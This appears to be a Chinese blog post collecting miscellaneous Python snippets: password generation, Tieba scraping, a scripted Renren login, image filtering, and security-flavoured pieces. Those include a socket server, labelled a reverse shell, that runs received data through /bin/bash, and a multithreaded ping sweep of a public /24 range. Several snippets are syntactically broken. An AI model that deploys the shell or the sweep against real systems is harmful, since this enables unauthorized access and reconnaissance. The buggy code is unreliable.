python加强

2021-03-02 16:30

阅读:448

标签:stream   window   开平   elf   hack   win   session   sci   UNC   

about

将平日里遇到的一些实用、有意思的python代码收集起来,以备后用

python案例


# ex_1.py
# 生成随机字符


import random, string

def GenPassword(length):
    numOfNum = random.randint(1,length-1)
    numOfLetter = length - numOfNum
    slcNum = [random.choice(string.digits) for i in range(numOfNum)]
    slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)]
    slcChar = slcNum + slcLetter
    random.shuffle(slcChar)
    getPwd = ‘‘.join([i for i in slcChar])
    return getPwd


# ex_2.py
# 爬取任意贴吧图片-1


import requests

class Spider:
    def __init__(self, name):
        self.name = name
        self.url_temp = "https://tieba.baidu.com/f?kw=" + name + "&ie=utf-8&pn={}"
        self.headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"}

    def get_url_list(self):   # 1 构造url列表
        return [self.url_temp.format(i*50) for i in range(1000)]

    def parse_url(self, url):   # 2 发送请求 获取响应
        response = requests.get(url, headers=self.headers)
        return response

    def save_html_str(self, html_str, page_num):    # 3 保存
        file_path = "D:/ddd/{}吧_第{}页".format(self.name, page_num)
        with open(file_path, "w", encoding="utf-8") as f:
            f.write(html_str)

    def run(self):
        # 1 构造url列表
        url_list = self.get_url_list()
        # 2 发送请求 获取响应
        for url in url_list:
            html_str = self.parse_url(url).content.decode()
            # 3 保存
            page_num = url_list.index(url) + 1
            self.save_html_str(html_str, page_num)


def main():
    name = input("请输入要爬取的贴吧:")
    tieba_spider = Spider(name)
    tieba_spider.run()


if __name__ == "__main__":
    main()


# ex_3.py
# 爬取任意贴吧图片-2

import requests

class Spider:
    def __init__(self, name):
        self.name = name
        url_temp = "https://tieba.baidu.com/f?kw=" + self.name + "&ie=utf-8&pn={}"
        self.url_list = [url_temp.format(i*50) for i in range(1000)]
        self.headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"}


    def work(self):
        for url in self.url_list:
            response = requests.get(url, headers=self.headers)
            file_path = "D:/ccc/{}吧_第{}页".format(self.name, self.url_list.index(url) + 1)
            with open(file_path, "w", encoding="utf-8") as f:
                f.write(response.content.decode())


def main():
    name = input("请输入要爬的贴吧:")
    a = Spider(name)
    a.work()


if __name__ == "__main__":
    main()


# ex_4.py
# 登录人人网


import requests
     
# 1. 创建session对象,可以保存Cookie值
ssion = requests.session()
     
# 2. 处理 headers
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
     
# 3. 需要登录的用户名和密码
data = {"email":"mr_mao_hacker@163.com", "password":"alarmchime"}  
     
# 4. 发送附带用户名和密码的请求,并获取登录后的Cookie值,保存在ssion里
ssion.post("http://www.renren.com/PLogin.do", data = data)
     
# 5. ssion包含用户登录后的Cookie值,可以直接访问那些登录后才可以访问的页面
response = ssion.get("http://www.renren.com/410043129/profile")
     
# 6. 打印响应内容
print response.text


# ex_5.py
# 反弹shell

from subprocess import Popen, PIPE

from socket import *
from time import ctime

HOST = ‘‘            # 本机作为服务端,地址可以不写
PORT = 2333          # 端口
BUFSIZE = 1024       # 传输数据大小
ADDR = (HOST, PORT)

tcpServer = socket(AF_INET, SOCK_STREAM)      # 服务器端代码
tcpServer.bind(ADDR)                          # 地址绑定套接字
tcpServer.listen(5)                           # 服务端监听

while True:            # 监听数据
      print(‘Waiting for connection....‘)

      tcpClient, addr = tcpServer.accept()    # 绑定
      print(‘Client connected from : ‘, addr)
      while True:
            data = tcpClient.recv(BUFSIZE)
            if not data:
                  break

            # 执行命令
            cmd = Popen([‘/bin/bash‘, ‘-c‘, data], stdin=PIPE, stdout=PIPE)
            data = cmd.stdout.read().decode(‘gbk‘)

            tcpClient.send(‘[%s] %s‘(ctime(), data))

tcpClient.close()      # 关闭连接
tcpServer.close()

# ex_6.py
# ping 命令

import subprocess
import os
class Shell(object) :
      def runCmd(self, cmd) :
            res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            sout ,serr = res.communicate() 
            return res.returncode, sout, serr, res.pid
 
shell = Shell()
fp = open(‘c:\\test\\ip.txt‘, ‘r‘)
ipList = fp.readlines()
fp.close()
fp = open(‘c:\\test\\ping.txt‘, ‘a‘)
print ipList
for i in ipList :
      i = i.strip()      # 去掉字符串首尾特殊符字
      result = shell.runCmd(‘ping ‘ + i)
      if result[0] == 0 :
            w = i + ‘ : 0‘
            fp.write(w + ‘\n‘)
      else :
            w = i + ‘ : 1‘
            fp.write(w + ‘\n‘)
 
fp.close()
# ex_7.py
# 命令交互

import subprocess
class Shell(object) :
      def runCmd(self, cmd) :
            res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            sout ,serr = res.communicate()   
            return res.returncode, sout, serr, res.pid
 
shell = Shell()
while True :
      input = raw_input(‘>‘)
      if input == ‘exit‘ or input == ‘bye‘ :
            break
      else :
            result = shell.runCmd(input)
            print "返回码:", result[0]
            print "标准输出:", result[1]
            print "标准错误:", result[2]
# 执行命令
# res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
# 1.
      def runCmd(cmd) :
            res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            sout ,serr = res.communicate() 
            return res.returncode, sout, serr, res.pid

# 2.
      def runCmd(cmd):
            cmd = Popen([‘/bin/bash‘, ‘-c‘, data], stdin=PIPE, stdout=PIPE)
            data = cmd.stdout.read().decode(‘gbk‘)
            return data
# ex_8.py
# 多线程查看网站状态码

import threading
import time
import requests
import sys

def fun1():
      time_start = time.time()
      r = requests.get(url=‘http://www.baidu.com/‘)
      times = time.time() - time_start
      sys.stdout.write(‘Status:%s -- %s -- %s \n‘ % (r.status_code, times, time.strftime(‘%H:%M:%S‘)))

def main():
      threads = []
      threads_count = 10

      for i in range(threads_count):
            t = threading.Thread(target=fun1, args=())
            threads.append(t)

      for i in range(threads_count):
            threads[i].start()

      for i in range(threads_count):
            thread[i].join()

if __name__ == ‘__main__‘
      main()


# ex_9.py
# 多线程C段扫描

import threading
import queue
import sys
from subprocess import Popen, PIPE

class DoRun(threading.Thread):            # 定义一个类,传入 queue 参数
      def __init__(self, queue):
            threading.Thread.__init__(self)
            self._queue = queue

      def run(self):
            while not self._queue.empty():      # 非空取数据
                  ip = self._queue.get()
                  check_ping = Popen(‘ping {0} \n‘.format(ip), stdin=PIPE, stdout=PIPE, shell=True)
                  data = check_ping.stdout.read().decode(‘gbk‘)
                  if ‘TTL‘ in data:
                        sys.stdout.write(ip+‘ is UP.\n‘)

def main():
      threads = []
      threads_count = 100
      q = queue.Queue()

      for i in range(1, 255):                  # 存入 ip 地址
            q.put(‘1.31.128.‘ + str(i))

      for i in range(threads_count):
            threads.append(DoRun(q))

      for i in threads:
            i.start()
      
      for i in threads:
            i.join()

if __name__ == ‘__main__‘:
      main()

# ex_10.py
# 给图片添加滤镜效果

import cv2
import math
import numpy as np

#读取原始图像
img = cv2.imread(‘nv.png‘)

#获取图像行和列
rows, cols = img.shape[:2]

#新建目标图像
dst = np.zeros((rows, cols, 3), dtype="uint8")

#图像流年特效
for i in range(rows):
    for j in range(cols):
        #B通道的数值开平方乘以参数12
        B = math.sqrt(img[i,j][0]) * 12
        G =  img[i,j][1]
        R =  img[i,j][2]
        if B>255:
            B = 255
        dst[i,j] = np.uint8((B, G, R))
        
#显示图像
cv2.imshow(‘src‘, img)
cv2.imshow(‘dst‘, dst)

cv2.waitKey()
cv2.destroyAllWindows()

python加强

标签:stream   window   开平   elf   hack   win   session   sci   UNC   

原文地址:https://www.cnblogs.com/shivers0x72/p/14380731.html


评论


亲,登录后才可以留言!